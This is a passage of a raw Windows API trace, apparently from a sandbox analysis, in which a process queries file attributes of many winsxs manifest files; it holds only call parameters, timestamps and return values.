	[0107.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28594_31bf3856ad364e35_6.1.7600.16385_none_555444d145694043.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28594_31bf3856ad364e35_6.1.7600.16385_none_555444d145694043.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c918 | out: lpFileInformation=0x1282c918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867568bf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x867568bf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5f734285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1
	[0107.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28595_31bf3856ad364e35_6.1.7600.16385_none_554974e545715c34.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28595_31bf3856ad364e35_6.1.7600.16385_none_554974e545715c34.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c968 | out: lpFileInformation=0x1282c968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8696bbd5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8696bbd5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfa54d8d4, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28596_31bf3856ad364e35_6.1.7600.16385_none_553ea4f945797825.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28596_31bf3856ad364e35_6.1.7600.16385_none_553ea4f945797825.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c9b8 | out: lpFileInformation=0x1282c9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8658d863, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8658d863, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb160933a, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1
	[0107.508] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28597_31bf3856ad364e35_6.1.7600.16385_none_5533d50d45819416.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28597_31bf3856ad364e35_6.1.7600.16385_none_5533d50d45819416.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ca08 | out: lpFileInformation=0x1282ca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8759eb9f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8759eb9f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1a7e7f71, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92b)) returned 1
	[0107.508] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28598_31bf3856ad364e35_6.1.7600.16385_none_552905214589b007.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28598_31bf3856ad364e35_6.1.7600.16385_none_552905214589b007.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ca58 | out: lpFileInformation=0x1282ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8750662b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8750662b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa99f50b0, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x94f)) returned 1
	[0107.508] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28599_31bf3856ad364e35_6.1.7600.16385_none_551e35354591cbf8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28599_31bf3856ad364e35_6.1.7600.16385_none_551e35354591cbf8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282caa8 | out: lpFileInformation=0x1282caa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87069be8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87069be8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa955913b, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.509] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28603_31bf3856ad364e35_6.1.7600.16385_none_51613d5747f21534.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28603_31bf3856ad364e35_6.1.7600.16385_none_51613d5747f21534.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282caf8 | out: lpFileInformation=0x1282caf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8677ca1c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8677ca1c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3175fa0b, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x937)) returned 1
	[0107.509] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28605_31bf3856ad364e35_6.1.7600.16385_none_514b9d7f48024d16.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28605_31bf3856ad364e35_6.1.7600.16385_none_514b9d7f48024d16.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cb48 | out: lpFileInformation=0x1282cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87069be8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87069be8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x240b2a9a, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.510] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-38598_31bf3856ad364e35_6.1.7600.16385_none_8293da1563799056.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-38598_31bf3856ad364e35_6.1.7600.16385_none_8293da1563799056.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cb98 | out: lpFileInformation=0x1282cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8750662b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8750662b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb421341e, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1
	[0107.510] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-50225_31bf3856ad364e35_6.1.7600.16385_none_da678387a146c5d5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-50225_31bf3856ad364e35_6.1.7600.16385_none_da678387a146c5d5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cbe8 | out: lpFileInformation=0x1282cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86482ed8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86482ed8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb428583b, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3d5)) returned 1
	[0107.510] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-50227_31bf3856ad364e35_6.1.7600.16385_none_da51e3afa156fdb7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-50227_31bf3856ad364e35_6.1.7600.16385_none_da51e3afa156fdb7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cc38 | out: lpFileInformation=0x1282cc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8670a605, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8670a605, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb42ab99a, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ed)) returned 1
	[0107.510] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-50229_31bf3856ad364e35_6.1.7600.16385_none_da3c43d7a1673599.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-50229_31bf3856ad364e35_6.1.7600.16385_none_da3c43d7a1673599.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cc88 | out: lpFileInformation=0x1282cc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8771b941, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8771b941, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb42d1af9, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ef)) returned 1
	[0107.511] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-51949_31bf3856ad364e35_6.1.7600.16385_none_db1fb305a0d50b65.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-51949_31bf3856ad364e35_6.1.7600.16385_none_db1fb305a0d50b65.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ccd8 | out: lpFileInformation=0x1282ccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864a9035, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x864a9035, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb42f7c58, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ce)) returned 1
	[0107.511] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-52936_31bf3856ad364e35_6.1.7600.16385_none_dacf9be5a104cc62.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-52936_31bf3856ad364e35_6.1.7600.16385_none_dacf9be5a104cc62.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cd28 | out: lpFileInformation=0x1282cd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866e44a8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x866e44a8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb431ddb7, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ef)) returned 1
	[0107.511] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-54936_31bf3856ad364e35_6.1.7600.16385_none_dad19c79a102ff10.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-54936_31bf3856ad364e35_6.1.7600.16385_none_dad19c79a102ff10.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cd78 | out: lpFileInformation=0x1282cd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866e44a8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x866e44a8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa9affa49, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xa18)) returned 1
	[0107.511] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onmanager.resources_31bf3856ad364e35_8.0.7600.16385_en-us_af7fa83ea7a79716.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onmanager.resources_31bf3856ad364e35_8.0.7600.16385_en-us_af7fa83ea7a79716.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cdc8 | out: lpFileInformation=0x1282cdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x1e3)) returned 1
	[0107.512] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..otmailapi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a51487bbaa1d90b3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..otmailapi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a51487bbaa1d90b3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ce18 | out: lpFileInformation=0x1282ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c4)) returned 1
	[0107.512] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..p-support.resources_31bf3856ad364e35_8.0.7600.16385_en-us_b9a1c8ae2a0faa63.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..p-support.resources_31bf3856ad364e35_8.0.7600.16385_en-us_b9a1c8ae2a0faa63.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ce68 | out: lpFileInformation=0x1282ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea16731, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea16731, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xe9c)) returned 1
	[0107.512] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..p_profile.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e405ef80978e4bdb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..p_profile.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e405ef80978e4bdb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282ceb8 | out: lpFileInformation=0x1282ceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3db9bcd, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3db9bcd, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x40a)) returned 1
	[0107.512] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..padapplet.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cca0d03bd6e58914.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..padapplet.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cca0d03bd6e58914.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cf08 | out: lpFileInformation=0x1282cf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5af3171, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5af3171, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x3a9)) returned 1
	[0107.513] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..plication.resources_31bf3856ad364e35_8.0.7600.16385_en-us_6fee0a14e7e25ecb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..plication.resources_31bf3856ad364e35_8.0.7600.16385_en-us_6fee0a14e7e25ecb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cf58 | out: lpFileInformation=0x1282cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x71c)) returned 1
	[0107.513] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ptdebugui.resources_31bf3856ad364e35_8.0.7600.16385_en-us_0c7a569d729ac0f0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ptdebugui.resources_31bf3856ad364e35_8.0.7600.16385_en-us_0c7a569d729ac0f0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cfa8 | out: lpFileInformation=0x1282cfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea3c9ea, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x852)) returned 1
	[0107.513] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..r_service.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b28bd85e0d0ff6f1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..r_service.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b28bd85e0d0ff6f1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282cff8 | out: lpFileInformation=0x1282cff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c5f69a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf0c5f69a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xfb9)) returned 1
	[0107.513] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rationkit.resources_31bf3856ad364e35_8.0.7600.16385_en-us_1500247af6eedb76.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rationkit.resources_31bf3856ad364e35_8.0.7600.16385_en-us_1500247af6eedb76.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d048 | out: lpFileInformation=0x1282d048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x325)) returned 1
	[0107.514] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rendering.resources_31bf3856ad364e35_8.0.7600.16385_en-us_277908e1dbc2b3e3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rendering.resources_31bf3856ad364e35_8.0.7600.16385_en-us_277908e1dbc2b3e3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d098 | out: lpFileInformation=0x1282d098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x875)) returned 1
	[0107.514] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rityzones.resources_31bf3856ad364e35_8.0.7600.16385_en-us_89134efab9cef638.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rityzones.resources_31bf3856ad364e35_8.0.7600.16385_en-us_89134efab9cef638.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d0e8 | out: lpFileInformation=0x1282d0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c5669f, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c5669f, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x893)) returned 1
	[0107.514] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rofilerui.resources_31bf3856ad364e35_8.0.7600.16385_en-us_645c658adc920572.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rofilerui.resources_31bf3856ad364e35_8.0.7600.16385_en-us_645c658adc920572.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d138 | out: lpFileInformation=0x1282d138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x864)) returned 1
	[0107.514] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rolviewer.resources_31bf3856ad364e35_8.0.7600.16385_en-us_bd04b63f94f3882a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rolviewer.resources_31bf3856ad364e35_8.0.7600.16385_en-us_bd04b63f94f3882a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d188 | out: lpFileInformation=0x1282d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea3c9ea, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad)) returned 1
	[0107.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..rvice_mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2507f83c52d906be.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..rvice_mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2507f83c52d906be.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d1d8 | out: lpFileInformation=0x1282d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f433b4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf2f6966d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xd21)) returned 1
	[0107.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tacontrol.resources_31bf3856ad364e35_8.0.7600.16385_en-us_c06b314572306535.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tacontrol.resources_31bf3856ad364e35_8.0.7600.16385_en-us_c06b314572306535.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d228 | out: lpFileInformation=0x1282d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea3c9ea, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x315)) returned 1
	[0107.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tbranding.resources_31bf3856ad364e35_8.0.7600.16385_en-us_10cf56c2df959d7e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tbranding.resources_31bf3856ad364e35_8.0.7600.16385_en-us_10cf56c2df959d7e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d278 | out: lpFileInformation=0x1282d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bb)) returned 1
	[0107.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tiator_ui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7c4a55fd0bd43d5a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tiator_ui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7c4a55fd0bd43d5a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d2c8 | out: lpFileInformation=0x1282d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c5f69a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0c5f69a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xbd9)) returned 1
	[0107.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..timezones.resources_31bf3856ad364e35_6.1.7601.17514_en-us_857cbbf5e0089eab.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..timezones.resources_31bf3856ad364e35_6.1.7601.17514_en-us_857cbbf5e0089eab.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d318 | out: lpFileInformation=0x1282d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6599c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b6599c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x879)) returned 1
